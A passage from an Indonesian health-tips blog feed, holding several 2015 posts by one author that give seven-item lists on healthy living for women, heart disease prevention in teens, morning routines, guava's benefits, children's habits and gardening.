ini. Dengan hobi menulis, kita akan melatih otak untuk senantiasa aktif serta mengharuskan diri untuk membaca berbagai buku termasuk berbagai tips kesehatan yang berguna bagi kita.</li></ol><br />Semoga tips kesehatan yang mengulas beberapa hobi unik yang dapat meningkatkan kesehatan tubuh dapat bermanfaat nyata bagi para pengunjung atau pembaca blog ini...</div>Yunitahttps://plus.google.com/114023471517364702388noreply@blogger.com0tag:blogger.com,1999:blog-1310332014631170546.post-19178110886800303082015-04-20T08:11:00.000-07:002016-03-13T13:57:41.837-07:00Tips 7 Cara Hidup Sehat Bagi Para Perempuan<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhS7DEg_YEyN_rEtrSsIvHux3Yl44BhLMhXEAZl2zHzS0TmbiuCiiCmkbQx6fPSWRxdANgj9O9HFr8hgkEn2_ASnAfmDDPINasPtPro6s3px-jvKTkXqLwDyr88evnyAkCT5ifapp84Tzc/s1600/step+hidup+sehat+para+perempuan.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="422" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhS7DEg_YEyN_rEtrSsIvHux3Yl44BhLMhXEAZl2zHzS0TmbiuCiiCmkbQx6fPSWRxdANgj9O9HFr8hgkEn2_ASnAfmDDPINasPtPro6s3px-jvKTkXqLwDyr88evnyAkCT5ifapp84Tzc/s640/step+hidup+sehat+para+perempuan.jpg" width="640" /></a></div><div style="text-align: justify;"><br /><br /><br /><br /><br /><br /><br /><br /><br />Semua manusia baik itu laki-laki maupun perempuan tentu menginginkan tubuh yang sehat setiap hari sepanjang hidupnya. Sakit maupun terserang penyakit tentulah akan membuat segala aktivitas maupun pekerjaan menjadi berantakan. Pilihan gaya hidup sehat bagi kaum adam maupun hawa yang harus mereka praktekkan tentulah berbeda satu sama lainnya. Khusus bagi perempuan, ada berbagai gaya hidup sehat yang sangat dianjurkan. Lalu, ada berapa step hidup sehat bagi para perempuan tersebut...???<br /><blockquote class="tr_bq">Berikut ini 7 Step Hidup Sehat Bagi Para Perempuan Atau Wanita</blockquote></div><div style="text-align: justify;"><ol><li>Step 1 : Penuhilah dulu tentang Kebutuhan Makanan Yang Sehat. Dalam hal ini, penting kiranya anda mulai mengkonsumsi aneka buah-buahan, sayuran hijau, makanan tinggi serat, produk susu rendah lemak, mencukupi kebutuhan kalsium serta kurangi konsumsi gula dan garam.</li><li>Step 2 : Mulailah Meluangkan Waktu Untuk Mengolahragakan Tubuh Anda. Tak perlu berlama-lama, cukup sediakan waktu kurang lebih 30 menit setiap pagi untuk sekadar berjalan kaki di sekitar rumah atau jalan setapak di dekat rumah anda.</li><li>Step 3 : Jauhi Asap Rokok. Faktanya, meskipun para perempuan tidak banyak yang merokok, tapi mereka selalu terpapar asap rokok dan menjadi perokok pasif dari orang-orang disekitarnya. Fakta juga, perokok pasif sama berbahayanya dengan para perokok aktif.</li><li>Step 4 : Mulailah Mengontrol Tingkat Stres. Resiko terkena stres banyak dialami oleh para wanita khususnya mereka yang sudah dewasa atau yang sudah menikah. Untuk itulah, kontrol tingkat stres tersebut dengan cara meluangkan waktu beberapa menit untuk merilekskan tubuh dan pikiran di tempat yang tenang.</li><li>Step 5 : Hindari Sinar Matahari Di Siang Hari. Resiko kanker kulit akan meningkat, jika para perempuan terpapar sinar matahari disiang hari tanpa pelindung tabir surya yang memadai. Untuk itulah, kurangi beraktivitas di luar ruangan disiang hari atau jika terpaksa, maka gunakan tabir surya ( SPF 15 ).</li><li>&nbsp;Step 6 : Tidur Malam Lebih Awal. Kebutuhan akan istirahat atau tidur yang cukup nyatanya menjadi keharusan khususnya para perempuan. Untuk itulah, mulailah mengatur jam tidur malam dan terapkan disiplin tidur malam di keseharian anda.</li><li>Step 7 : Rutin Memeriksakan Diri Ke Dokter. Berbagai resiko dan penyakit bisa mengancam para perempuan khususnya kanker payudara. Untuk itulah, periksakan kesehatan tubuh secara berkala. Sehingga gejala awal pada penyakit di tubuh bisa dengan cepat di obati...</li></ol>Semoga tips kesehatan yang mengulas beberapa step hidup sehat bagi para perempuan dapat bermanfaat bagi pembaca khususnya para perempuan...</div>Yunitahttps://plus.google.com/114023471517364702388noreply@blogger.com0tag:blogger.com,1999:blog-1310332014631170546.post-71343186602949926382015-04-08T21:19:00.000-07:002016-03-13T13:58:28.549-07:00Tips 7 Cara Simpel Mencegah Penyakit Jantung<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhWsVHTnga3P_q_Qboo6RB0ec3A-9K2t_q_DqwpdtU35kIRNvdi3YkHalw9uvmaZsqFNfCXzmCIu9euizN345RyTcz739juZkXExScXUvbiDQ9RQGYTsc1TALlA4JEhRs0dfjNIL1Zr9gw/s1600/tips+simpel+cegah+sakit+jantung+remaja.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="422" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhWsVHTnga3P_q_Qboo6RB0ec3A-9K2t_q_DqwpdtU35kIRNvdi3YkHalw9uvmaZsqFNfCXzmCIu9euizN345RyTcz739juZkXExScXUvbiDQ9RQGYTsc1TALlA4JEhRs0dfjNIL1Zr9gw/s640/tips+simpel+cegah+sakit+jantung+remaja.jpg" width="640" /></a></div><div style="text-align: justify;"><br /><br /><br /><br /><br /><br /><br /><br /><br />Penyakit jantung menjadi salah penyakit yang paling mematikan yang dapat mengancam keberlangsungan hidup manusia. Faktanya, gaya hidup para remaja sekarang ini dapat memperbesar resiko penyakit jantung di saat mereka menginjak masa dewasa. Untuk itulah, diperlukan perhatian yang lebih serius tentang berbagai tips yang dapat mencegah penyakit jantung di kalangan remaja sebagai generasi penerus cita-cita bangsa. Lalu, apa saja tips simpel mencegah penyakit jantung pada remaja tersebut...???<br /><blockquote class="tr_bq">Berikut ini 7 tips simpel mencegah penyakit jantung khusus bagi para remaja</blockquote></div><div style="text-align: justify;"><a href="https://www.blogger.com/null" name="more"></a></div><div style="text-align: justify;"><ol><li>Mulailah Berolahraga. Faktanya, tidak sedikit dari para remaja yang tidak bersemangat untuk berolahraga di pagi hari. Mulailah membangun kebiasaan baru, dengan bangun lebih pagi dan melakukan aktivitas berolahraga selama kurang lebih 30 menit setiap paginya.</li><li>Stop Merokok. Faktanya, tidak sedikit pula dari para remaja di lingkungan tempat tinggal kita yang mulai terbiasa menghisap rokok. Untuk itulah, sangat diperlukan kesadaran pada diri anda sendiri untuk mulai berhenti merokok tanpa harus selalu di ingatkan tentang berbagai efek buruknya bagi kesehatan termasuk organ jantung anda.</li><li>Kontrol Berat Badan Anda. Kegemukan atau obesitas pada remaja sangat rentan dan beresiko besar terkena penyakit jantung ketika mereka memasuki usia dewasa. Selain itu, resiko diabetes tipe 2 juga dapat mengancam para remaja yang kelebihan berat badan (obesitas).</li><li>Penuhi Kebutuhan Makanan Yang Sehat. Para remaja harusnya mulai rutin mengkonsumsi aneka buah-buahan dan sayuran hijau. Ini dikarenakan, kedua jenis makanan tersebut mengandung berbagai nutrisi dan vitamin bagi tubuh serta menjaga jantung agar tetap sehat.</li><li>Senantiasa Aktif. Para remaja harusnya mulai mengurangi kebiasaan hidup menetap yang terlalu lama seperti terlalu lama duduk memainkan komputer atau hanya sekadar menonton acara televisi. Solusinya, mulailah berjalan-jalan keluar ruangan sekitar 15 menit setelah duduk selama kurang lebih 45 menit.</li><li>Kurangi Konsumsi Garam. Dalam hal ini. para remaja harusnya dapat mengontrol tingkat konsumsi garam yang masuk ke tubuhnya. Salah satnnya yaitu dengan mencermati dulu tentang kandungan garam dari label makanan yang akan dikonsumsi plus kurangi untuk mengkonsumsi berbagai makanan olahan yang berkadar garam tinggi</li><li>Kontrol Tingkat Stres. Berbagai masalah yang menimpa para remaja sangat berpeluang meningkatkan resiko stres yang dapat menurunkan kesehatan tubuh dan jantungnya. Untuk itulah, gunakan waktu liburan untuk mengunjungi tempat-tempat baru yang belum pernah anda kunjungi sebelumnya...sekian dari kami dan semoga bermanfaat.Amiiin</li></ol></div>Yunitahttps://plus.google.com/114023471517364702388noreply@blogger.com0tag:blogger.com,1999:blog-1310332014631170546.post-67503305187900288642015-04-03T16:50:00.000-07:002016-03-13T14:00:06.183-07:00Tips 7 Kiat Tetap Fit Dengan Cara Super Alami<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjYNbnl7OPACZ8mO7HqHZ4RbvZw8g5JrcIOIdL2qIHpq14Iz5-v0p54if47W0QvYKuu5S0QLlXabWzX_MD9Ft-kjt6gmHxeb2ISVG9ChguX_2vlypzXz4cWaprfEWBioIuRWeVWkzk4Xgk/s1600/tips+tetap+fit+super+alami+sehat.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="416" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjYNbnl7OPACZ8mO7HqHZ4RbvZw8g5JrcIOIdL2qIHpq14Iz5-v0p54if47W0QvYKuu5S0QLlXabWzX_MD9Ft-kjt6gmHxeb2ISVG9ChguX_2vlypzXz4cWaprfEWBioIuRWeVWkzk4Xgk/s640/tips+tetap+fit+super+alami+sehat.jpg" width="640" /></a></div><div style="text-align: justify;"><br /><br /><br /><br /><br /><br /><br /><br /><br />Sehat Dengan Cara Yang Alami", menjadi bahasan yang cukup menarik di zaman modern sekarang ini. Tak dapat dipungkiri, berbagai makanan yang kita konsumsi mulai jauh dari standar kesehatan yang dianjurkan. Hal ini ditambah dengan semakin berkurangnya aktivitas fisik seperti berolahraga yang makin jarang dilakukan. Padahal tubuh yang fit akan sangat menunjang berbagai aktivitas dan pekerjaaan itu sendiri. Lalu, apa saja tips tetap fit dengan cara yang super alami tersebut...???<br /><blockquote class="tr_bq">Berikut ini 7 tips tetap fit dengan cara yang super alami :&nbsp;</blockquote></div><div style="text-align: justify;"><a href="https://www.blogger.com/null" name="more"></a></div><div style="text-align: justify;"><ol><li>Stop Dari Kebiasaan Tidak Sehat Mulai Sekarang. Berbagai kebiasan tidak sehat memiliki pengaruh besar terhadap menurunnya kesehatan tubuh anda. Berbagai kebiasaan tidak sehat yang dimaksud yaitu merokok, minum minuman beralkohol serta konsumsi gula maupun makanan cepat saji secara berlebihan.</li><li>&nbsp;Tidur Malam Lebih Awal. Tidur cukup merupakan salah satu kebutuhan wajib yang harus dipenuhi setiap harinya. Tentang berapa lama waktu yang dibutuhkan tentulah berbeda untuk setiap orangnya. Mulailah memahami waktu yang anda butuhkan untuk tidur malam yang cukup setiap harinya.</li><li>Rutin Mengolahragakan Tubuh Anda. Banyak sekali aktivitas berolahraga yang dapat kita lakukan seperti berjalan kaki, berlari, peregangan, berenang, bersepeda maupun aktivitas lainnya yang menjadi kegemaran anda. Jadi, olahraga tentunya bukan sesuatu yang memberatkan anda.</li><li>Utamakan Makanan Yang Menyehatkan Tubuh. Mulailah meninggalkan slogan "Asal Kenyang". Ini dikarenakan, tubuh memerlukan berbagai nutrisi, vitamin dari berbagai makanan yang anda konsumsi (Sangat dianjurkan untuk mencukupi kebutuhan buah-buahan dan sayuran hijau di menu harian anda).</li><li>Air Putih Jangan Terlewatkan. Tubuh membutuhkan cairan dalam jumlah yang cukup setiap harinya. Minumlah air putih dalam jumlah yang cukup sesuai dengan aktivitas dan pekerjaan yang anda lakukan. Angka kebutuhan normal konsumsi air putih yaitu delapan gelas setiap harinya.</li><li>Turunkan Tingkat Stres Seminimal Mungkin. Berbagai beban hidup, terlalu berlebihan dalam bekerja (gila kerja) di sertai kurangnya waktu istirahat dan berlibur dapat memperparah dan meningkatkan stres dalam diri anda. Menyeimbangkan waktu antara bekerja, tidur maupun berlibur dapat menurunkan tingkat stres anda.</li><li>Jangan Tinggalkan Sarapan Pagi. Energi pada tubuh yang digunakan untuk beraktivitas maupun bekerja didapatkan dari sarapan pagi yang anda lakukan. Makananlah makanan yang sehat yang mengandung nutrisi yang cukup yang dibutuhka oleh tubuh anda. Sangat dianjurkan untuk mengkonsumsi sarapan pagi dari makanan yang anda masak sendiri.</li></ol>Semoga tips kesehatan yang mengulas 7 tips tetap fit dengan cara yang super alami dapat&nbsp; bermanfaat bagi pembaca...Amiiin</div>Yunitahttps://plus.google.com/114023471517364702388noreply@blogger.com0tag:blogger.com,1999:blog-1310332014631170546.post-75686742560599610672015-03-21T09:14:00.000-07:002016-03-13T14:01:14.579-07:00Tips 7 Cara Mudah Membuat Pagi Hari Lebih Menyenangkan<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj_gnUtK32d9lMnlJ6sKjG39j0uQEFD1_I03ResA4ckLLQRPIprN7Fr-g3uR7N9qL2yGHM_zK9Zu5RRFFZle5E4JSv4qYTgUh9gGSkZbHCygQBSj4ctzNffHXhN6oSU7Mjux4EPV5jXqmU/s1600/tips+buat+pagi+lebih+senang.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="544" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj_gnUtK32d9lMnlJ6sKjG39j0uQEFD1_I03ResA4ckLLQRPIprN7Fr-g3uR7N9qL2yGHM_zK9Zu5RRFFZle5E4JSv4qYTgUh9gGSkZbHCygQBSj4ctzNffHXhN6oSU7Mjux4EPV5jXqmU/s640/tips+buat+pagi+lebih+senang.jpg" width="640" /></a></div><div style="text-align: justify;"><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br />Pagi Hari merupakan waktu terbaik untuk mengawali semua yang sudah anda rencanakan atau agendakan. Untuk itulah, penting kiranya setiap orang memiliki semangat berlebih atau spirit yang tinggi setiap paginya. Meskipun begitu, ada sebagian orang yang merasakan bahwa paginya terasa membosankan dan tidak menyenangkan. Pagi hari yang menyenangkan dan lebih bewarna tentu berdampak baik bagi kesehatan tubuh anda. Ada beberapa tips yang dapat membuat esok pagi anda lebih berbeda. Lalu, apa saja tips mudah membuat pagi hari lebih menyenangkan tersebut...???.</div><div style="text-align: justify;"><a href="https://www.blogger.com/null" name="more"></a><br /></div><div style="text-align: justify;">Dengan memilikli perasaaan bahagia atau menyenangkan di pagi hari, maka tentunya akan berdampak baik pada aktivitas dan rutinitas sepanjang hari. Bagi sebagian dari kita tentulah memiliki trik atau tips rahasia untuk membuat pagi hari menjadi salah satu momen terindah. Untuk anda yang mengalami pagi hari kurang menyenangkan atau terasa membosankan, ada beberapa tips yang dapat dengan mudah anda praktekkan..<br /><blockquote class="tr_bq">Berikut ini 7 tips mudah membuat pagi hari lebih menyenangkan</blockquote></div><div style="text-align: justify;"><ol><li>Mendengarkan Musik Di Pagi Hari. Alunan musik nan merdu dapat membuat perasaan bahagia dalam diri anda. Sangat disarankan untuk mendengarkan musik favorit ataupun musik pemompa semangat atau spirit setiap paginya.</li><li>Berolahraga Di Taman. Usahakan untuk melakukan olahraga di area atau rute yang di tumbuhi pepohonan yang mana salah satunya di taman.Ini. Ini dikarenakan, berolahraga dilingkungan tersebut dapat membantu anda lebih rileks, menurunkan tekanan darah serta mengurangi rasa stres.</li><li>Terpapar Sinar Matahari Pagi. Usahakan agar tubuh anda terkena hangatnya sinar matahari di pagi hari. Karena faktanya, sinar matahari merupakan sumber vitamin D yang baik bagi tubuh. Bukalah jendela atau tirai pada kamar tidur anda, dan rasakan sinar matahari pagi menerpa tubuh anda.</li><li>Hilangkan Semua Perasaan Negatif Sebelum Berangkat Tidur. Dalam hal ini, rilekskan tubuh dan pikiran sebelum merebahkan dan memejamkan mata anda. Sehingga tidur andapun dapat pulas dan nyenyak dan peluang untuk mendapatkan pagi yang menyenangkan akan semakin besar.</li><li>Berikan Nuansa Hijau Di Rumah Anda. Dalam hal ini, buatlah taman kecil yang berisi aneka tanaman hijau. Ini dikarenakan, saat anda bangun pagi dan menatap taman bunga tersebut dapat membuat pagi anda lebih membahagiakan dan menyenangkan.&nbsp;</li><li>Bercengkrama Dengan Pasangan Atau Anggota Keluarga. Luangkan waktu di pagi hari untuk lebih mendekatkan diri dengan pasangan atau anggota keluarga akan membuat hari anda lebih bahagia. </li><li>Secangkir Teh Hangat. Mengawali hari dengan meminum secangkir teh hangat di depan beranda rumah tentu akan membuat hidup lebih nikmat dan menyenangkan. Apakah anda memiliki tips yang lebih baik untuk membuat pagi hari lebih menyenangkan...???</li></ol>Semoga tips kesehatan yang mengulas beberapa tips mudah membuat pagi hari lebih menyenangkan dapat bermanfaat bagi pembaca sekalian...</div>Yunitahttps://plus.google.com/114023471517364702388noreply@blogger.com0tag:blogger.com,1999:blog-1310332014631170546.post-11668852587293035852015-03-13T09:40:00.000-07:002016-03-13T14:02:14.299-07:00Tips 7 Manfaat Jambu Biji Bagi Kesehatan Kita<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj2o2dNWmWsdFoikYQd_Ucp6xoqZ8nYlaE6n5EEz8wZ3HnI3klf0y2vv0L4hNfOkqLKX57S7GPhy0Quc30Ewjfa_cBGDYshyHzHNdYsCpx2AkkrCb5k_WmRfQuR06OlnXhuFMMUwJefpas/s1600/manfaat+takjub+jambu+biji+kesehatan+tubuh.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="518" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj2o2dNWmWsdFoikYQd_Ucp6xoqZ8nYlaE6n5EEz8wZ3HnI3klf0y2vv0L4hNfOkqLKX57S7GPhy0Quc30Ewjfa_cBGDYshyHzHNdYsCpx2AkkrCb5k_WmRfQuR06OlnXhuFMMUwJefpas/s640/manfaat+takjub+jambu+biji+kesehatan+tubuh.jpg" width="640" /></a></div><div style="text-align: justify;"><br /><br /><br /><br /><br /><br /><br /><br /><br />Jambu Biji merupakan salah jenis buah-buahan yang sudah kita kenal dari berbagai jenis buah-buahan yang ada. Secara fisik, jambu biji sangat mudah dikenali seperti kulit buah yang bewarna hijau, memiliki daging buah yang bewarna putih atau merah serta memiliki banyak biji dalam daging buahnya. Meskipun jambu biji menyimpan berbagai manfaat menakjubkan, tapi nyatanya belum banyak yang mengetahuinya. Lalu, apa saja manfaat menakjubkan jambu biji bagi kesehatan tubuh tersebut...???.</div><div style="text-align: justify;"><a href="https://www.blogger.com/null" name="more"></a><br /></div><div style="text-align: justify;">Sobat tips kesehatan. Sebagian besar nutrisi yang dibutuhkan oleh tubuh terdapat pada buah-buahan yang kita konsumsi setiap harinya khususnya vitamin, sumber serat, protein serta mineral. Salah satu buah yang sangat dianjurkan untuk mulai dikonsumsi setiap hari adalah jambu biji. Ini dikarenakan, jambu biji merupakan salah satu buah yang kaya nutrisi&nbsp; dan mudah ditemukan serta mudah tumbuh di alam Indonesia. Setelah membaca artikel ini, diharapkan anda&nbsp; mulai melirik jambu biji...<br /><blockquote class="tr_bq">Berikut ini 7 manfaat menakjubkan jambu biji bagi kesehatan tubuh anda</blockquote></div><div style="text-align: justify;"><ol><li>Nutrisi Mata. Jambu biji ternyata mengandung sumber utama vitamin A. Vitamin A membantu menutrisi organ mata yang akan menyehatkan mata serta membantu memperlambat munculnya gangguan kesehatan pada mata seperti katarak serta degenerasi makula atau penurunan penglihatan ketika usia bertambah.</li><li>Pencegah Kanker. Jambu biji memiliki sumber antioksidan yang dibutuhkan oleh tubuh anda. Sumber antioksidan yang dimaksud yaitu likopen yang mana memiliki fungsi mengurangi resiko terkena kanker prostat, kanker payudara serta kanker mulut. Ini dikarenakan, jambu biji dapat menghambat pertumbuahan serta metastasis sel kanker yang mematikan tersebut.</li><li>Penurun Berat Badan. Jambu biji nyatanya juga terbukti efektif dalam program&nbsp; penurunan berat badan anda. Ini dikarenakan, selain bersifat mengenyangkan perut lebih lama, jambu biji juga memasok kebutuhan nutrisi yang dibutuhkan oleh tubuh sera rendah kolesterol dan rendah karbohidrat. Inilah yang membuat jambu biji menjadi salah satu program diet anda yang sempurna.</li><li>Penghindar Diabetes. Ternyata jambu biji dapat membantu mencegah munculnya penyakit diabetes tipe 2. Selain itu, jambu biji juga sangat baik bagi penderita diabetes. Ini dikarenakan, sumber serat dalam jambu biji dapat membantu mengatur atau mengontrol penyerapan gula didalam tubuh anda.</li><li>Penangkal Hipertensi. Fungsi lain yang tak kalah penting dari jambu biji yaitu mengurangi resiko terkena tekanan darah tinggi atau hipertensi. Kandungan sumber serat dalam jambu biji berperan dalam mengurangi kadar kolesterol jahat dalam darah dan meningkatkan sirkulasi darah di pembuluh darah yang mana pada akhirnya dapat mencegah hipertensi. </li><li>Cerdaskan Otak. Jambu biji mengandung vitamin B3 (niasin) serta B6. Kedua vitamin tersebut berperan dalam hal meningkatkan sirkulasi darah keseluruh organ termasuk otak. Oleh karena itulah, jambu biji dapat menjadi salah satu buah alternatif yang dapat meningkatkan kesehatan otak dan membuat seseorang lebih berkonsentrasi.</li><li>Solusi Sembelit. Susah buang air besar atau sembelit menjadi masalah serius jika tidak segera ditangani secara lebih cepat. Sumber serat dalam jambu biji dapat membantu meningkatkan kesehatan sistem pencernaan dan sistem ekskresi. Dalam hal ini dapat memudahkan proses buang air besar dan menjauhkan anda dari sembelit...</li></ol>Semoga tips kesehatan yang mengulas beberapa manfaat menakjubkan jambu biji bagi kesehatan tubuh dapat bermanfaat bagi seluruh pembaca...</div>Yunitahttps://plus.google.com/114023471517364702388noreply@blogger.com0tag:blogger.com,1999:blog-1310332014631170546.post-82403120798395115112015-03-12T22:45:00.000-07:002016-03-13T14:03:35.708-07:00Tips 7 Cara Kebiasaan Sehat Yang Bisa Di Ajarkan Ke Anak<div style="text-align: justify;"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhzvqQuRKFLi-v0gjqdUfOUDqDzdv75C1GMRw4ODCxCNEIHQ1GohK_snSDZ3V6Gwqvrt0TTXjfjXRj3mhXVnFSKH-zpW4SaBom106TIC48G1FCh1beAp_o1_8tGIef6ytQpvuxqLVgv32U/s1600/kebiasaan+sehat+ajarkan+ke+anak.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="425" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhzvqQuRKFLi-v0gjqdUfOUDqDzdv75C1GMRw4ODCxCNEIHQ1GohK_snSDZ3V6Gwqvrt0TTXjfjXRj3mhXVnFSKH-zpW4SaBom106TIC48G1FCh1beAp_o1_8tGIef6ytQpvuxqLVgv32U/s640/kebiasaan+sehat+ajarkan+ke+anak.jpg" width="640" /></a></div><br /><br /><br /><br /><br /><br /><br /><br /><br />Anak merupakan anugerah dari Tuhan YME yang wajib kita jaga, pelihara dan bimbing, agar menjadi insan yang berguna untuk keluarga maupun bangsa dan negara. Berbagai perilaku yang baik dapat diajarkan secara lebih dini di mulai sedari kecil. Salah satu perilaku baik yang bisa di ajarkan ke anak yaitu tentang cara hidup sehat setiap harinya. Ada berbagai kebiasaan sehat yang terbukti ampuh untuk dipraktekkan ke anak anda. Lalu, apa saja kebiasaan sehat yang bisa di ajarkan ke anak tersebut...???.</div><div style="text-align: justify;"><br />Anak dapat di ibaratkan selembar kertas putih yang masih kosong dan suci. Sebagai orang tua, tugas kita mengajarkan dan memberi contoh yang baik sebagai bekal kehidupannya saat dewasa nanti. Hal ini teramat penting untuk mulai dilakukan oleh seluruh para orang tua khususnya pasangan baru yang baru dikarunia buah hati. Ada berbagai kebiasaan sehat yang mulai dapat diajarkan pada pangeran atau puteri kecil anda...<br /><blockquote class="tr_bq">Berikut ini 7 kebiasaan sehat yang bisa diajarkan ke anak anda</blockquote><a href="https://www.blogger.com/null" name="more"></a></div><div style="text-align: justify;"><ol><li>Mengkonsumsi Makanan Sehat Secara Bersama Sama. Untuk para orang tua, sedapat mungkin menghindangkan menu makanan sehat seperti buah-buahan dan sayuran hijau ke meja makan serta makan bersama-sama dengan anak anda.&nbsp;</li><li>Membawa Bekal Makanan Dari Rumah. Jika anda menyuruh anak membawa bekal dari rumah, para orang tua yang bekerja harusnya juga membawa bekal makanan dari rumah. Dengan membawa bekal makanan dari rumah, kita pastilah tahu tentang sehat tidaknya makanan yang di bawa anda dan anak anda.</li><li>Berolahraga Bersama-Sama. Jika para orang tua menginginkan anak-anaknya hobi berolahraga, maka seharusnya anda harus memberi contoh yang sama pula. Bangunlah di pagi hari dan ajak anak untuk berolahraga pagi seperti berjalan santai maupun berlari pelan dengan didampingi oleh anda.</li><li>Stop Merokok. Para orang tua juga harus berhenti dari berbagai kebiasaan tidak sehatnya seperti merokok. Sebab, tidak akan pernah ada gunanya kalau anda melarang anak untuk tidak merokok, padahal anda selalu merokok di depan anak anda. Karena faktanya, merokok memang merugikan kesehatan tubuh anda.</li><li>Mulailah Tidur Cukup Dan Rutin Setiap Malamnya. Khusus para orang tua, hilangkan kebiasaan begadang serta ajaklah anak untuk mulai tidur pada waktu yang telah di tentukan. Karena percuma saja&nbsp; menyuruh anak untuk mulai tidur, sedangkan anda asyik dengan kegiatan atau aktivitas malam anda.</li><li>Minum Air Putih Dalam Jumlah Cukup. Sebagai orang tua yang bijaksana, ajarkan pada anak untuk minum-minuman yang menyehatkan dalam jumlah yang cukup. Dalam hal ini, tentulah minum cukup air putih setiap harinya.&nbsp;</li><li>Mengajarkan Untuk Mencuci Tangan. Kebiasaan mencuci tangan sebelum makan atau setelah beraktivitas atau bekerja harusnya menjadi rutinitas para orang tua sehari-hari. Hal ini, akan memotivasi anak untuk melakukan hal yang sama yang dilakukan oleh orang tuanya.</li></ol><br />Semoga tips kesehatan yang mengulas 7 kebiasaan sehat yang bisa di ajarkan ke anak dapat bermanfaat bagi pembaca...</div>Yunitahttps://plus.google.com/114023471517364702388noreply@blogger.com0tag:blogger.com,1999:blog-1310332014631170546.post-56931676500663657072015-03-12T22:44:00.001-07:002016-03-13T14:04:10.285-07:00Tips 7 Cara Manfaat Berkebun Bagi Kesehatan Tubuh Kita<div style="text-align: justify;"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg16zM5u58E7gQn8J_IEAfZK9WFW0BaXSBQEQTiptmfqENKjYqMi15P7mhYh3juN6sZr4gYsuRDdIq65uuvBeRCACTWn8b-csvxa7qtU-RKaWjsgJTbxelRzJFqgh7vS6BASymqI6Oq4eg/s1600/manfaat+dahsyat+berkebun+bagi+kesehatan.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="441" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg16zM5u58E7gQn8J_IEAfZK9WFW0BaXSBQEQTiptmfqENKjYqMi15P7mhYh3juN6sZr4gYsuRDdIq65uuvBeRCACTWn8b-csvxa7qtU-RKaWjsgJTbxelRzJFqgh7vS6BASymqI6Oq4eg/s640/manfaat+dahsyat+berkebun+bagi+kesehatan.jpg" width="640" /></a></div><br /><br /><br /><br /><br /><br /><br /><br /><br />Berkebun merupakan salah satu kegiatan atau aktivitas yang menyehatkan yang dapat dilakukan di sela-sela pekerjaan rutin anda. Waktu terbaik untuk berkebun atau mengurus taman yaitu pada pagi hari atau saat libur kerja. Dengan memiliki kebun sendiri, maka lingkungan anda akan terlihat asri, sejuk dan segar. Selain itu, ternyata berkebun berdampak positif bagi kesehatan tubuh. Lalu, apa saja manfaat dahsyat berkebun bagi kesehatan tubuh tersebut...???</div><div style="text-align: justify;"><br />Sahabat, tips kesehatan. Ada banyak sekali aktivitas maupun kegiatan yang bisa dilakukan dipagi hari maupun saat libur kerja seperti berolahraga bersepeda santai, berenang, liburan dan juga berkebun. Tidak sedikit dari kita memiliki hobi yang unik yaitu berkebun. Bagi anda yang belum memiliki hobi berkebun, mulailah untuk menyukai hobi sehat tersebut. Karena ternyata, berkebun berefek baik untuk meningkatkan kesehatan tubuh anda.<br /><blockquote class="tr_bq">Berikut ini 7 manfaat dahsyat berkebun bagi kesehatan tubuh anda :&nbsp;</blockquote><a href="https://www.blogger.com/null" name="more"></a></div><div style="text-align: justify;"><ol><li>Meningkatkan Kesehatan Organ Jantung. Berkebun dapat dikategorikan sebagai aktivitas fisik dengan intensitas sedang. Meskipun begitu, meluangkan waktu minimal 30 menit setiap hari hanya untuk berkebun dapat menghindarkan dari serangan jantung atau stroke sekaligus menyehatkan jantung anda.</li><li>Menurunkan Tingkat Stres. Berbagai aktivitas berkebun seperti menanam tanaman baru, menyiram, memotong tanaman yang sudah tinggi serta menyediakan media tanam baru dapat mengalihkan perhatian anda dari pekerjaan sehari-hari di kantor yang tak kunjung selesai.</li><li>Meningkatkan Sistem Kekebalan Tubuh. Aktivitas berkebun hampir mirip kegiatan berolahraga tanpa anda sadari. Oleh karena itulah, kesehatan tubuh anda terjaga setiap hari. Selain itu, tubuh akan terpapar sinar matahari pagi yang merupakan sumber vitamin D yang sangat baik untuk penyerapan kalsium untuk tulang anda.&nbsp;</li><li>Menghindarkan Dari Hipertensi. Tekanan darah tinggi (hipertensi) tentunya sangat membahayakan kesehatan tubuh anda. Menurut The Natiional Heart, Lung, and Blood Institute's, berkebun terbukti cukup efektif untuk mencegah tekanan darah tinggi.</li><li>Sangat Efektif Untuk Membakar Kalori. Bagi anda yang enggan untuk melakukan olahraga setiap hari, maka berkebun menjadi solusi sehat yang dapat anda ambil. Berbagai kegiatan berkebun yang sangat menyibukkan dapat membakar banyak kalori dalam tubuh anda. </li><li>Membuat Hari Anda Lebih Bahagia. Ada kebahagian tersendiri saat melihat lingkungan sekitar rumah anda nampak 